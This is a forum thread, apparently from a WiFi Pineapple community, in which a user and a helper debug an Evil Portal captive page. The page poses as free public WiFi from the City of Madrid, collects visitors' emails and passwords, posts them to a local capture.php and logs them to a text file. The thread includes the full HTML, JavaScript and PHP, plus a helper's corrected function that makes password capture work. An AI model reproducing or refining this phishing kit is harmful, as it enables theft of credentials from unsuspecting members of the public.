Hi,

I have problems with a html web. I want a html for summit a loggin information with Evil Portal infusion. Now this html can redirect normally but it doesn't save email and password. I think i'm missing something in this code because i don't have many knowledge about html programming... This is my html code:

<html>

<head>
<title>$gatewayname Entry</title>
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<script type="text/javascript">
function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var emailvalue=encodeURIComponent(document.getElementById("email").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function sendInfo2() {
var xmlhttp = new ajaxRequest();
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (passwordvalue != null && passwordvalue != "") {
var parameters="password="+passwordvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1:80/capture", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>
</head>
<body>
<center>
<h2>$gatewayname</h2>
<font size="1"><i>Ofrecido para usted por la Ciudad de Madrid</i></font>
<br />
<br />
<p><font size="2">Para hacer uso del servicio necesita suscribirse con un email y una contrase&ntildea.</font></p>
<div id="results"></div>
<form id="emailform" method="POST" action="http://172.16.42.1:80/capture.php">
<table>
<tr>
<td><label>Email</label></td>
<td><input type="text" id="email" name="email" placeholder="Ingrese su email" required />
<td><label>Contrase&ntildea</label></td>
<td><input type="text" id="password" name="password" placeholder="Ingrese su contraseña" required />
</tr>
</table>
<input type="hidden" id="redirect" name="redirect" value="$authtarget" />
<button type="button" onclick="sendInfo();return false;">Ingresar</button>
</form>
<p><font size="1"><i>Su informaci&oacuten no será compartida con terceras partes.</i></font></p>
<p><font size="1"><i>Conectándose y haciendo uso de esta red está aceptando los <a href="#">términos del servicio.</a></i></p>
<img src="images/wifi.png" width="71" height="49" border="0">
</center>
<iframe style="display:none;" src="get"></iframe>
</body>
</html>
this is my capture.php:

<?php

$email = $_POST['email'];
$password = $_POST['password'];
$redirect = $_POST['redirect'];
$file = fopen("evilportalpass.txt", "a");
fwrite($file, $email . " " . $password . "\n");
fclose($file);
echo 'Gracias por elegir $gatewayname <meta http-equiv="refresh" content="2; url=' . $redirect . '" />';
?>
The location for this file is in /www folder. I don't know if its's a code problem or just a location problem from my capture.php.
Hope someone can help me.

Couple things:

action="http://172.16.42.1:80/capture.php">

You do not need :80 as 80 is the default port for HTTP traffic. you can just have http://172.16.42.1/capture.php

Also you need to concat your strings together:

echo 'Gracias por elegir ' . $gatewayname . ' <meta http-equiv="refresh" content="2; url=' . $redirect . '" />';

And you never initialized $gatewayname. Its value is always null

Thanks man. Now this two are fixing... And what about this script?

<script type="text/javascript">

function ajaxRequest() {
if (window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (window.ActiveXObject) {
return new ActiveXObject("Microsoft.XMLHTTP");
} else {
return false;
}
}
function sendInfo() {
var xmlhttp = new ajaxRequest();
var emailvalue=encodeURIComponent(document.getElementById("email").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (emailvalue != null && emailvalue != "") {
var parameters="email="+emailvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1/capture.php", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
function sendInfo2() {
var xmlhttp = new ajaxRequest();
var passwordvalue=encodeURIComponent(document.getElementById("password").value);
var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
if (passwordvalue != null && passwordvalue != "") {
var parameters="password="+passwordvalue+"&redirect="+redirectvalue;
xmlhttp.open("POST", "http://172.16.42.1/capture", true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(parameters);
document.getElementById("results").innerHTML="&iexclGracias!";
window.location = document.getElementById("redirect").value;
} else {
document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
}
}
</script>

I do not have a pineapple to test it on at the moment however it looks fine. If you are having issues open up your developers console on your web browser and see what your javascript errors are

I'm a little more near from my goal...

With your modifications i get a email and created the file perfectly!!

The only thing i need it's to make this html send the password fields and register in the same txt.... Because the password information it's not sending... I don't know why.

So... there is something wrong in the part of sending password information.

function sendInfo() {
      var xmlhttp = new ajaxRequest();
      var emailvalue=encodeURIComponent(document.getElementById("email").value);
      var redirectvalue=encodeURIComponent(document.getElementById("redirect").value);
      var passwordvalue=encodeURIComponent(document.getElementById("password").value);
      if (emailvalue != null && emailvalue != "") {
       var parameters="email="+emailvalue+"&redirect="+redirectvalue+"&password=" + passwordvalue;
        xmlhttp.open("POST", "http://172.16.42.1:80/capture.php", true);
        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xmlhttp.send(parameters);
        document.getElementById("results").innerHTML="&iexclGracias!";
        window.location = document.getElementById("redirect").value;
      } else {
        document.getElementById("results").innerHTML="Por favor, ingrese su email y su contrase&ntildea.";
      }
    }

Replace your sendInfo() function with mine
